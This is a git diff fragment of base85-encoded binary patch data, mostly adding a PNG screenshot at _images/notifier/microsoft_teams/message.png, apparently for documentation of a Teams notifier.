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

literal 0
HcmV?d00001

diff --git a/_images/notifier/microsoft_teams/message.png b/_images/notifier/microsoft_teams/message.png
new file mode 100644
index 0000000000000000000000000000000000000000..5c4c7f11ed12fed720f4b227a27c76b7c2e9b46b
GIT binary patch
literal 7777
zcmcI}c{r5&`@d4DC?_hB<p^nPQ<m%`+1EozmMPgKyD<z?ItbYZ*^_-4vhRZ&Vub8j
zhAd+@n6Zs9<NMJ0oOAuI>+{F&`^WdWE}nUw`+DEY`+aZE>kie|Rl9VN?IH~g%_R->
zM+P)Bw0Pim==syYfBB4^1mJec!$9pJO-V2NGVpN5PDw|JhNdiv{_y!(;Q4~9x~T^Z
z&E>Y^zf)gb@~wfFOr9!FJPloJJ)zItZD`coZERk7*t>XI8l4B0aQx7Cr1aRwave)b
zxw(_}bBn^V0NZ8!aF)xtM!x!9G#~5lZXMj5VsbaqEfV;jF{jTw54@MidXD)<y4UOZ
zu8I~0*y#%%zj?FQo2|6bdHY#y25nvV@eJ<0YOmp+uU8dm5dWBOUG3nyiYe+<&9HaF
zI5|LGLNjezAQUoH2r4?#ItQrO!te+~3*5z+K#aicn|ih!aJ$PBLpUbB|KAWtUt;)~
zdD`Amlxf{=|8qrYGv&t?cz@O%t4bnd@w6>J9w;xq1u*}~%9I~E!yRfQYnHdbrcLsc
z5r#mQd;p41v~}TMg}g-^rG~DkoJRPag2#^bzrR8}257IpsuydP>ozTv79bO&l;1~2
z#vW_BDHLj?VLV*o-8nM<R0~E5P(HS*rTZ~PkJ51{@qrNfC=f{pEVt7Dmd6rUe#e~x
zRPfJ+UlYKosj8~Oj^!o*QUyVXQzW6-F5Z*<02_k9GnyDg_{rkE7=lssi8zJQJox>T
zVXb*Yxr4B5^w5{K@h+c(CoTka=)>Dd(qkDH8SShMpAOncj@7{*jBw5loNVZ(!bWam
zrB9~*-SGB6?fNT&#d|X6HYTssW!@8S0C}e=iuSRX|G1Hky&B^X1KyuY>qo4zzqb|c
zzFTZ{4<eMDTykl9yv^dG0VkmD)FKv{7zws(j0ZoBc|60#_?4yR+$tr_1KwI6{4=oQ
zXKYUlU&@Oeoi}w6<)WWkSj-2Q;3QYM1SAjNg0PmBBVEnJzr6a9eK_}=BEfkH!HiBe
zJ<gl^ugpdpbHBqOKBUMu5UvgEM52tsN5s8no!?6JwyE}Nh$gW4B0aoDczdX<_0I$`
z?TTpD9{5nS&*E9X?;1S6HrP@drZb4CnGZM4l*&&*tldDPgr)jMt12Z9mZqqb{{E@=
znWnaAeWZr1^&iHV+?!?%D~B^?6A!sk^|rOT?L-eUp3)^!M!(sA;q-OSjU`lwY;O<h
zbx)MlSk%Yy>nUu1SN8Jq(n=KZKceidS0&oJx^5QarN=5ovP)Z))}KDz+FG@m%tf6z
z2aAXKIhRSveUc|nCiE$U|LC?!PViedX|T3Ss(vZ&P%3;Ku}9V$#)MG--?*E=VyKYO
zR}?OWva%aEOo`%=yzeReGE%-)aC106chOxs>%))-kAw2<q!<-gj1D7y<;f5BrZR5#
zMYXc;`8is5@eZt}yLQXWeruWhb^;(pIl0Nf!3yv7ry!RkE)EVOh}P}zV`CsP-RV<)
zq?;BN7J?=vNVn{En~a2n>wax~zU1|q3^<|dv49O2!kWQ;UbCwEz2~78ctf8UyD+e2
zuzt-!#Oy6@GLd!6G^cru#}9)L-#ZU@#*L^&1BH~H@kC>xv%Y>Nj@28JfsBDr{1SFJ
zu3Wnt!@|?G-3(=*tUW8$7Uc=gp<B^$GI5#h<&dXWIN!4ct%T-ybX_41WzI|=D(?<r
z$E-05t-RWNxS(7IJw;08^hQl0c%d_fr)D~!;jj9p!%L=M5E#O+hI>k>|7KZB;BC$6
z#Bz%$DYja8+pQ*`_=h=s3rLbj4yEJ~1wg?Lf;lE7*8%dh><0>GDL0^4de5_|nV6IH
zR@osdy2eW51!absQnQWy&Xn-CW6V_U&X&DdJ!~aivbY(!8!~9BGg|(ZLIOuxvmLbq
z>X}a=6=8(=w~Pu>P9s7vc?1=nss97*PbT2HZF+()-Mq{$r60hQm;H%KM@NT?&Y-N>
z#k|9|l6Th|R!bTV4i2m>EjOC>rur0*%tigN^<Kb(rN2LgSx?Sw;aid#CoH?91Yb33
z87CNna&+BsR+<_D2W-)g8Fs!GDlGCZ(~gYIoNs)g_gLX5TRl+gomS*TH%l&DWu&2D
z+TR3ibq28fJr0GGWN1T|lt)@q5$h}I)4!!n_~M&9G_c|owrFYOert%lS47he*Q4w3
z?-JdkM9O-9_0M;&*i@$u+UjEJM~K9m^&8XI)^GHr<a}Kw8p}9zoK8v?A&awkuo|L^
zikx;<hGRz)Y$U|R<#vC($kR=GTIZg_TRU$09%^Fwm(@KD7--D|;%_7(#2Hokw92tB
zUB0}asmVe$E}m(X(EcD;-v6NTn>t17U<2E*mtgiv+HLmFHPd>22wD)#vODR~hk`T*
z*xRcI`>qt^@$MNGAkEkP_pmJI&&bHg%#Q<CN4mQ0ZRG>MwK;JkLrY5_`hx8;CT7uy
zW}DTnGC?4`^y5PeEFV_PmJtTq4ls&4JuYEF*vT=rZ%<T|`%J-{5n$}3`~+9>FnjXo
z)zmr0smi+5_7__(r^M-lM)a+g7a~a!WwOwAUB>0z2R5R$sb3Vv{uFtE(YjugGK&FD
z@#e)KPT2gFq_HZeMBn624Vc%*@j()QA%WxP{?^>yq(_uBR3YPN-38I$Hm5p9TvR+F
zRXa~u({*`DYmVf%O$U&jO{L}Jg!1&?N`bf-&Y2WH$vm)BFX&c~mzQ@(j<>QZDHN6Q
z*XKWQ)fa%Ty}fr0I*a8UOG8{0Y$%|6X`Mr)kw13zxlCjY;`IP-`(2rp3Bv!yW=FNF
znQNuJ4bk`c++t|T_$_)i*#!v|TXGu_Zg*5JefVXo^7#jq!Iu{zg&ZP=B!f-hLms}_
z?hmAc{L3#`Od%l^wmnNr`QzE@ty-#zn=P~h+wKV$@EF<0-dZ0sq&*g><c&mS>mT;w
z0x8*Fu%OajSxd~c*Qf>H3$ZZn7gNw_|E8v<YoOAFuj%$y%yQSnlrZ#Tyt3-(hK$e9
z^c0{_w)iy05}0CMAeQ+)VB|O5HUfj6`5SKT*)g#WeoG3%HWhF=M}2c#D{xv%$1x5`
zs32-l<Tmx*Z+zS4_`ST41&N?V$#aPE2H6jlhznoub=@Q;-ox>|b7|Tc>F7`$6rbDL
z58(>P-@OvT$c3JZl;thWK_!AA0f+l;er=NIgB3y6N0G6y0W(1?=?E$;OWT$+V1H)R
z(ocuda2m9sk=r=lN_pMm5<tAU^E$$hPC{|_5i_}stoF4b3a<;3;9|I3=m_QP{6nl)
z(T{_SybPR$fDa!ojq9W5>L}4A;GX!=+a-3$&n-PNEvWl*aqG(!Y(*E>1_O5By7>@$
z`s!-Ejng(Xk2$%ZU96*m&Tj!pr8@2J%)O<Uc5`;B=vrsE!vULc-EC9~*`&l=+G(V?
zVFOLhic+{3(&qRF!5>I1<!@8n+JY~Y=b}(L5g$Fhy%m7-0t(j7&Q2`0?1?sNy27sS
zlS+7M-g-_W&NC;v`3Z&|v~QOVQ$1&1@40N|(!`f%tX9A=N&GbXh*^IN6~JVvga3^y
zg}_8vQCqTc$D@lvoCS=5M)jFox;o4P%IOG3^84wEp_Khcm=Jxb3qRM*zEFugS#|LK
z?+0Qdd0U5y2x;FVHCnB48J7LGg3vR(+dQBbb6c6s<5vzhocrHWj28mUx`Mt)@^mk+
zF-N@!10ixWo=5rHFKT|MW(LCd<GFNo5`Fq~^i;KGX}M-@dUoAGTzU=_4@0*=YWCm*
zDLN~#?jd18a1NS3!4h3z7cfX_7w$(;-K9!wn3K00HkQmFmp$#=>#Q<8&8QPDboaZ<
z0a0xgAg~E%c>4&-Y;=6wv9w+^cl{A?bopb$da$+~TBPwZW8*>?u0UVB_+jh!9r-36
z#UBH*6QlB_(gzgh{ymv;y8+*E%(ZV1N7Rqn%4SqhG4%^SA<oN`PkP;K?T<@743tY-
zpf7exiPkd2i)jtkKyJ)u?=BZ@y~J=yyJw@()CkEb*CTF};PY`^AZ5Q!w!k4r1*la;
zLRW=AK1taPTF^xu!L*90jT`6}W<E-W&(akuUwUlDGy8|Wf7zQHG`Z+Dhge%d_fA)Q
zAKm&=W-o<W)TFzqx{OB8H!v8m=>!YOTM;jrCKyhz+zYldJZ|P(&2h-m{Zklt*@v>?
zOmnoE*q5xQw~DlSx;e`#cV^3c(iFu<S?UYc5B=<zLf_}G(EFBs&|IXt+U_rmbecoH
zLKW6rmb7>6Dz@HV(V0J;<$EV7)S;ds-*lvAZ@&BX{&US=O(QhkaH<?liD9kK|Nb6+
zC&_7*oiwd>Kz()ez>L>O2x$=D%1ef3{Iw{lvP!YoTMtcT?ObjzHvN3jxa31$2CF#d
z59UJR-Zz&ObBf#HkvFfU^mRy$BHH(8GmGw=rNTHrZLpe0eR`td4}L-2?Z4zs`sj^@
z6%bH9T%MBP+^M}yZnpbhC)yDGY-W?}PX^ejiKTG~HrB#KNZ(~RRLeS25w5JYxclU(
znC9L_H{;I_K$9YCRlq0wrjGi|-(x8_VUr1A|A*ERIJx0E`JpJ1VSkRXP1Hv!u6q$>
zwS3NBNwpem#qh7eoj5}Kmv;{S9HU%ggZ@rVeSr%ls}v?2ht|{j0L1;6-W0pwh->RJ
zXNA)wYyQlT9~w;*U|Y#^z%=Xdh?U<Fv>DVv&B#FPBTKjI^QEgR`RZ#;ulIGo7F|Q3
zuu*Ff0Ap2c(&=Yi1?%BA-v0VlIQANG;S|Xz2AhC-S>uhU9wKyVh^a159!(v@k2bF;
zibu1lFGA#}5Xw#_Y0XZ!-A=Tnu+xY3!0qNk2x$twyf;fMH@J_okD8pk-soYs6iSON
zMJNz<yZ$;NX$FUNy%sHIu$*QmE#sGBGAmP&h+W_V_BHFeKwjgGF8e;NFvv8M*^e9M
zja92j%KmD;?xsy21n0%Yh&FPRG*p@wdTC%GJu#|%FgGdwwIm--D{29m-V1tiVsSXX
z>d3~%6h}AX&Gwh~;skT8e`D1=hkS0c85Hqm_35oXu9f(>@x0RDzs;o}S)BHEhDfyZ
za0?d>t}t6|u~J;O;`!;MZ}M)g&t|xkM@g~)<qeBNpI@oZEYjQd$EKPf$bYwY-13se
z%f3^ei&KrL5x%UCf@4qFJYj8|Vksm-OR&?<89wYMU#5+H%pk<?vF1Ze@WZ&NmUj;G
z5%3Y2l+RQjg{}G4nTe-7#N=M^*yK)#2Ty2fHf%W;zO1&Wbp@hHGU)3*iVu)L>#x8o
zqVIcTB4;+Vse_3Z{v*s>mzzI!aEzam?w89FA7R2XxYl1qv1R$*iyytr$QFfPMLU~4
z)9`SO1RIQAJ;>mKX58q#S`2U1zGN3pTd$DX!^l>r#G{yxkZs?ABW{z&qIZY#<Q0Fg
zk?;#5tn>X%SkaFRf^WM)^N)5xUnSdtUhqXA-4>8hX(Tn&E~v}$frCs86r_;sBNt)a
z7qcV0$PbBZpDN&GbvhQK<XiMN8%8*9FyvI=AZeh(uVddfdLtVB?vqOM;*J)QsT9wZ
zCd1|FfHa?%P|tp@Hjm^_qCJjbUHboz)Ocj#5yS2sKxRw!us+dJ0~RyPH&WsE;$U6Y
z_qybn1(J*%`4c^xvKCw4;m+=UEA?TkfTQnLI){Z;a__KY(8^67ubk;LA<FiABVjc#
zx8)^bt<TK2)a7!o<MM}f#_r#Nki64|`RRU<Y|Wgki76s);T8RlaT4tZlx2f1bwAjE
z9FlMga@Si;Y?|DMKN}HaDx5Yj>!oAiMQsV&U1~*Z_Y2rdQzE0t3*@&Ihi}HvKPPir
z&KkaOZKX@2SB&1dcYy-adH&DgDR7guPeff=JC^f|$<ayOB?qoLsuyvCF+hlW%5e0m
z>G$7~=2p|^q7<qX+1Yh&+PeK7N1m$2%RuIHM|v{?*v$}ksFRs*niVJa_CjX+IM>V&
